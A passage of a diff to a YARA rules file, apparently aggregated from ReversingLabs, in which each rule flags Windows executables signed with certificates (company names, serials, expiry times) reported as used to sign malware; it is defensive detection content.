0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Board Game Bucket Ltd" and pe.signatures [ i ] . serial == "5a:36:4c:49:57:d9:34:06:f7:63:21:c2:31:6f:42:f0" and 1661337307 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1Eb816Aa49E4894D9E9F78729E53Cd48 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E7E7F7180666546Ce7A8Da32119F5Ce1 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d2e66765-bdf6-59ff-ac6c-1a82ecefa731" + id = "8984ac03-2646-54a1-a6d3-4c2cc72806e7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16782-L16798" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10898-L10916" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4e22568612aec050c7f78b81ba6749528a9c25c0ba43e14260a581a9bea7a2f0" + logic_hash = "940f6508208998593f309ffeeeda20ab475d427c952a14871b6e58e17d2a4c85" score = 75 quality = 90 tags = "INFO, FILE" @@ -29381,21 +51775,21 @@ rule REVERSINGLABS_Cert_Blocklist_1Eb816Aa49E4894D9E9F78729E53Cd48 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\x96\\x84\\xE5\\x90\\x9B \\xE9\\x9F\\xA6" and pe.signatures [ i ] . serial == "1e:b8:16:aa:49:e4:89:4d:9e:9f:78:72:9e:53:cd:48" and 1429056000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "C\\xC3\\x94NG TY TNHH PDF SOFTWARE" and ( pe.signatures [ i ] . serial == "00:e7:e7:f7:18:06:66:54:6c:e7:a8:da:32:11:9f:5c:e1" or pe.signatures [ i ] . serial == "e7:e7:f7:18:06:66:54:6c:e7:a8:da:32:11:9f:5c:e1" ) and 1661558399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_383Ca88D6D9379C740609560 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_062B2827500C5Df35A83F661B3Af5Dd3 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "46166e9e-515d-530a-a651-59821d979f01" + id = "784c58d9-9a13-5402-867e-c1b144512957" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16800-L16816" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10918-L10934" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ce41d046a7ca320d034fa226b5e8c22022cc6bfc97eb9ef294b1aca232aaacef" + logic_hash = "4edc263b08b21428b5f2f4f14f9582c0f96f79cb49fbba563c103bf8bb2037a6" score = 75 quality = 90 tags = "INFO, FILE" @@ -29405,21 +51799,21 @@ rule REVERSINGLABS_Cert_Blocklist_383Ca88D6D9379C740609560 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "38:3c:a8:8d:6d:93:79:c7:40:60:95:60" and 1478250214 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "*.eos.com" and pe.signatures [ i ] . serial == "06:2b:28:27:50:0c:5d:f3:5a:83:f6:61:b3:af:5d:d3" and 1651449600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6731Cb1430F18B8C0C43Ab40E1154169 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7Bf27695Fd20B588F2B2F173B6Caf2Ba : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "df2423da-37ec-5adc-8497-2ac975b0b7ff" + id = "a3e6923a-f2c4-5d7c-aeab-bdb7fe03c597" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16818-L16834" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10936-L10952" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c05349166919ffc18ac6ecb61b822a8365f87a82164c5e110ef94345bdc4de6f" + logic_hash = "94d8739761b6a8ee91550be47432b046609b076aab6e57996de123a0fcaba73e" score = 75 quality = 90 tags = "INFO, FILE" @@ -29429,21 +51823,21 @@ rule REVERSINGLABS_Cert_Blocklist_6731Cb1430F18B8C0C43Ab40E1154169 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "3 AM CHP" and pe.signatures [ i ] . serial == "67:31:cb:14:30:f1:8b:8c:0c:43:ab:40:e1:15:41:69" and 1436313600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Game Warriors Limited" and pe.signatures [ i ] . serial == "7b:f2:76:95:fd:20:b5:88:f2:b2:f1:73:b6:ca:f2:ba" and 1662112800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_159505E6456B9A9352F7C47168D89B96 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1B248C8508042D36Bbd5D92D189C61D8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3d078c5d-e469-54f1-bd69-aebeec1c25f1" + id = "4ad05207-10d1-53c5-8383-a3c71a447ed6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16836-L16852" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10954-L10970" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d6d0d5c86dd88afa29fb3c7cc3c0ab2e3401637a23e062ee9bab693a715cf16f" + logic_hash = "2c063d0878a8bf6cd637e1dac2cb9164beb52c951e01858a7c3c9c4c1a853f54" score = 75 quality = 90 tags = "INFO, FILE" @@ -29453,21 +51847,21 @@ rule REVERSINGLABS_Cert_Blocklist_159505E6456B9A9352F7C47168D89B96 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Shan Feng" and pe.signatures [ i ] . serial == "15:95:05:e6:45:6b:9a:93:52:f7:c4:71:68:d8:9b:96" and 1469404800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Digital Robin Limited" and pe.signatures [ i ] . serial == "1b:24:8c:85:08:04:2d:36:bb:d5:d9:2d:18:9c:61:d8" and 1663171218 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_04A0E92B0B9Ebbb797Df6Ef52Bd5Ad05 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_032660Ee1D49Ad35086027473E2614E5E724 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c6ba359e-4883-534d-bc86-8c063e54c92f" + id = "29cb9255-0a34-58e8-88b2-fad988c7d229" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16854-L16870" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10972-L10988" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ff2a2d06c48bd3426fa42526d966152e3e7166c4170b4e08bb65ee5d876eda93" + logic_hash = "8d1435d2fa70db12cde2f9098e35ca1737f5aac36bac91329b28f03aad090e90" score = 75 quality = 90 tags = "INFO, FILE" @@ -29477,21 +51871,21 @@ rule REVERSINGLABS_Cert_Blocklist_04A0E92B0B9Ebbb797Df6Ef52Bd5Ad05 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "04:a0:e9:2b:0b:9e:bb:b7:97:df:6e:f5:2b:d5:ad:05" and 1479081600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "sunshine.com" and pe.signatures [ i ] . serial == "03:26:60:ee:1d:49:ad:35:08:60:27:47:3e:26:14:e5:e7:24" and 1660238245 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_25F222Ab2613Dc4270B2Aabc2519A101 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_043052956E1E6Dbd5F6Ae3D8B82Cad2A2Ed8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4458df2d-82c2-5377-9746-101c2de52913" + id = "ac09f8ac-fbdd-5989-a7e7-07373a69213b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16872-L16888" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10990-L11006" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2c6673f6821c4ba11fc015cf3e9edefeb7c45209bc9dcd18501c4681444a9b9e" + logic_hash = "c29fb109c741437a3739f1c42aadace8f612ef1e3ea90e3e2bdd8a92c85e766a" score = 75 quality = 90 tags = "INFO, FILE" @@ -29501,21 +51895,21 @@ rule REVERSINGLABS_Cert_Blocklist_25F222Ab2613Dc4270B2Aabc2519A101 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Aeroscan TOV" and pe.signatures [ i ] . serial == "25:f2:22:ab:26:13:dc:42:70:b2:aa:bc:25:19:a1:01" and 1445299200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ok.com" and pe.signatures [ i ] . serial == "04:30:52:95:6e:1e:6d:bd:5f:6a:e3:d8:b8:2c:ad:2a:2e:d8" and 1662149613 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_212Ca239866F88C3D5B000B3004A569C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Dbc03Ca7E6Ae6Db6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b433cddc-25c3-5627-99b5-ff9bc7fa73ed" + id = "a5ac5da6-0bb0-5327-ac3a-b53d2f103fe6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16890-L16906" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11008-L11026" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "23ab2343b17dce74fb4166a690ca5dd300b3ed20d3a6b43b922f456410d3035d" + logic_hash = "0077b9c46ddd98a4929878ba4ba9476ed7fb1d7bf6e30c3ae0f950445d01e8f3" score = 75 quality = 90 tags = "INFO, FILE" @@ -29525,21 +51919,21 @@ rule REVERSINGLABS_Cert_Blocklist_212Ca239866F88C3D5B000B3004A569C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "XECURE LAB CO., LTD." and pe.signatures [ i ] . serial == "21:2c:a2:39:86:6f:88:c3:d5:b0:00:b3:00:4a:56:9c" and 1347840000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SPIDER DEVELOPMENTS PTY LTD" and ( pe.signatures [ i ] . serial == "00:db:c0:3c:a7:e6:ae:6d:b6" or pe.signatures [ i ] . serial == "db:c0:3c:a7:e6:ae:6d:b6" ) and 1600826873 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_18B700A319Aa98Ae71B279D4E8030B82 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7D27332C3Cb3A382A4Fd232C5C66A2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8d1a98aa-a895-5e79-905c-760166352d4f" + id = "d8390528-ff27-514d-ab89-fd563a19ce3c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16908-L16924" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11028-L11044" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e201498acfd9afebc68321887a806bb5c1d74c64a7cd93530feae2a944bd30fa" + logic_hash = "c1c50015db7f97b530819b40e2578463a6021bfff8e2582858a4c3fbd1a9b9bc" score = 75 quality = 90 tags = "INFO, FILE" @@ -29549,21 +51943,21 @@ rule REVERSINGLABS_Cert_Blocklist_18B700A319Aa98Ae71B279D4E8030B82 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "18:b7:00:a3:19:aa:98:ae:71:b2:79:d4:e8:03:0b:82" and 1479686400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MALVINA RECRUITMENT LIMITED" and pe.signatures [ i ] . serial == "7d:27:33:2c:3c:b3:a3:82:a4:fd:23:2c:5c:66:a2" and 1655424000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_169138A86954Be1D9B264F47 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_82D224323Efa65060B641F51Fadfef02 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "56653f72-39af-50e7-9908-e516f9b21084" + id = "166949cf-dbff-5713-950e-46d1f3edc61f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16926-L16942" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11046-L11064" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1584e39b4e2025611bcb7bbbd92b97d25d12ddbb1e5c282db87730a03f7f56b1" + logic_hash = "9d361c91ed24b6c20a7b35957e26f208ce8e0a3d79c5a6fed6278acd826ccf49" score = 75 quality = 90 tags = "INFO, FILE" @@ -29573,21 +51967,21 @@ rule REVERSINGLABS_Cert_Blocklist_169138A86954Be1D9B264F47 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "16:91:38:a8:69:54:be:1d:9b:26:4f:47" and 1477636474 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SAVAS INVESTMENTS PTY LTD" and ( pe.signatures [ i ] . serial == "00:82:d2:24:32:3e:fa:65:06:0b:64:1f:51:fa:df:ef:02" or pe.signatures [ i ] . serial == "82:d2:24:32:3e:fa:65:06:0b:64:1f:51:fa:df:ef:02" ) and 1665100800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_33412168Eeb3C0E4C7Dd0508A9Ffecd5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_890570B6B0E2868A53Be3F8F904A88Ee : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "db2ae33e-d3af-5200-ad15-824e29434e2c" + id = "681d233c-d5a2-5f25-bdb9-125149a291c4" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16944-L16960" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11066-L11084" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d634af0637c3349fe1718ee807b8a75007ab46b141494331901a22ce54e9fc5d" + logic_hash = "fb7af8ec09da2fecaaaed8c7770966f11ef8a44a131553a9d1412387db2fb7ea" score = 75 quality = 90 tags = "INFO, FILE" @@ -29597,21 +51991,21 @@ rule REVERSINGLABS_Cert_Blocklist_33412168Eeb3C0E4C7Dd0508A9Ffecd5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "33:41:21:68:ee:b3:c0:e4:c7:dd:05:08:a9:ff:ec:d5" and 1467590400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "JESEN LESS d.o.o." and ( pe.signatures [ i ] . serial == "00:89:05:70:b6:b0:e2:86:8a:53:be:3f:8f:90:4a:88:ee" or pe.signatures [ i ] . serial == "89:05:70:b6:b0:e2:86:8a:53:be:3f:8f:90:4a:88:ee" ) and 1636588800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_422Ab71Ac7Fb125Ad7171B0C99510B0E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2642Fe865F7566Ce3123A5142C207094 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "002e344e-a073-5d00-9488-d73fad51c66a" + id = "508d9c00-c209-55b2-9a40-b62ff4d866c9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16962-L16978" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11086-L11102" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7366e5064a9a9f66260730575327e404eadea096ba3f6cf28c83c47bef9bca58" + logic_hash = "1ad4adf8b05a6cc065d289e6963480d37a92712a318744a30a16aad22380f238" score = 75 quality = 90 tags = "INFO, FILE" @@ -29621,21 +52015,21 @@ rule REVERSINGLABS_Cert_Blocklist_422Ab71Ac7Fb125Ad7171B0C99510B0E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "42:2a:b7:1a:c7:fb:12:5a:d7:17:1b:0c:99:51:0b:0e" and 1475193600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "C.W.D. INSTAL LTD" and pe.signatures [ i ] . serial == "26:42:fe:86:5f:75:66:ce:31:23:a5:14:2c:20:70:94" and 1666310400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6F18946E5B773B7E32D9E7B4Fb8D434C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4A2E337Fff23E5B2A1321Ffde56D1759 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "53205508-568c-5356-9717-2915c8f3806c" + id = "e5cae614-eff1-5c3d-a7f6-c41b0a2c412e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16980-L16996" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11104-L11120" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fa285c17b43d1acdb05888074ecb16047209ade8f7f6191274f58eca7438dadf" + logic_hash = "bc2df95ddf1ef3d5f83d14852e1cf6cbf4b71bfbe88fc97c2a4553e8581ddf47" score = 75 quality = 90 tags = "INFO, FILE" @@ -29645,21 +52039,21 @@ rule REVERSINGLABS_Cert_Blocklist_6F18946E5B773B7E32D9E7B4Fb8D434C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VECTOR LLC (VEKTOR, OOO)" and pe.signatures [ i ] . serial == "6f:18:94:6e:5b:77:3b:7e:32:d9:e7:b4:fb:8d:43:4c" and 1454716800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Karolina Klimowska" and pe.signatures [ i ] . serial == "4a:2e:33:7f:ff:23:e5:b2:a1:32:1f:fd:e5:6d:17:59" and 1660314070 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3596Dfc23B9A42C66700982250Da2906 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_92D9B92F8Cf7A1Ba8B2C025Be730C300 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "15c3551f-7b08-5e7f-a540-68b3eccac316" + id = "bc37efaa-9ceb-5079-999f-b3d17c585b1c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16998-L17014" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11122-L11140" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1b69bf520fde5255069cf8752d5c67716e9bc297ddde1566551a563a563197ea" + logic_hash = "2a0be6157e589705ad19756971bd865edad2d54760d03c2e6f47a461b402ad68" score = 75 quality = 90 tags = "INFO, FILE" @@ -29669,21 +52063,21 @@ rule REVERSINGLABS_Cert_Blocklist_3596Dfc23B9A42C66700982250Da2906 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, Song WU" and pe.signatures [ i ] . serial == "35:96:df:c2:3b:9a:42:c6:67:00:98:22:50:da:29:06" and 1397219344 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "UPLagga Systems s.r.o." and ( pe.signatures [ i ] . serial == "00:92:d9:b9:2f:8c:f7:a1:ba:8b:2c:02:5b:e7:30:c3:00" or pe.signatures [ i ] . serial == "92:d9:b9:2f:8c:f7:a1:ba:8b:2c:02:5b:e7:30:c3:00" ) and 1598054400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_486Bbddc8C5Ee99F051Ecaeb3F99D2A3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B8164F7143E1A313003Ab0C834562F1F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "07b43dd7-e8f1-5b14-a0f4-42294b5b597e" + id = "50d50330-4098-59dd-b2da-0714eefdfc66" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17016-L17032" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11142-L11160" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "75855e26ba4e01b56a551a006e789c6032cfb02c6f6125a9bdf8becb848db5b2" + logic_hash = "a42fec2e0e8d37948420f16907f39c3d502c535be98024d04a777dfbc633004d" score = 75 quality = 90 tags = "INFO, FILE" @@ -29693,21 +52087,21 @@ rule REVERSINGLABS_Cert_Blocklist_486Bbddc8C5Ee99F051Ecaeb3F99D2A3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "48:6b:bd:dc:8c:5e:e9:9f:05:1e:ca:eb:3f:99:d2:a3" and 1473292800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ekitai Data Inc." and ( pe.signatures [ i ] . serial == "00:b8:16:4f:71:43:e1:a3:13:00:3a:b0:c8:34:56:2f:1f" or pe.signatures [ i ] . serial == "b8:16:4f:71:43:e1:a3:13:00:3a:b0:c8:34:56:2f:1f" ) and 1598313600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_11211Eea9D0D1D1A325B5Eae1B2B1951120F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_24E4A2B3Db6Be1007B9Ddc91995Bc0C8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "09b8b3f3-a4aa-5584-b8d0-751cc87267bf" + id = "8e533ebf-a124-53a9-8647-6f4b40aaa066" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17034-L17050" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11162-L11178" license_url = 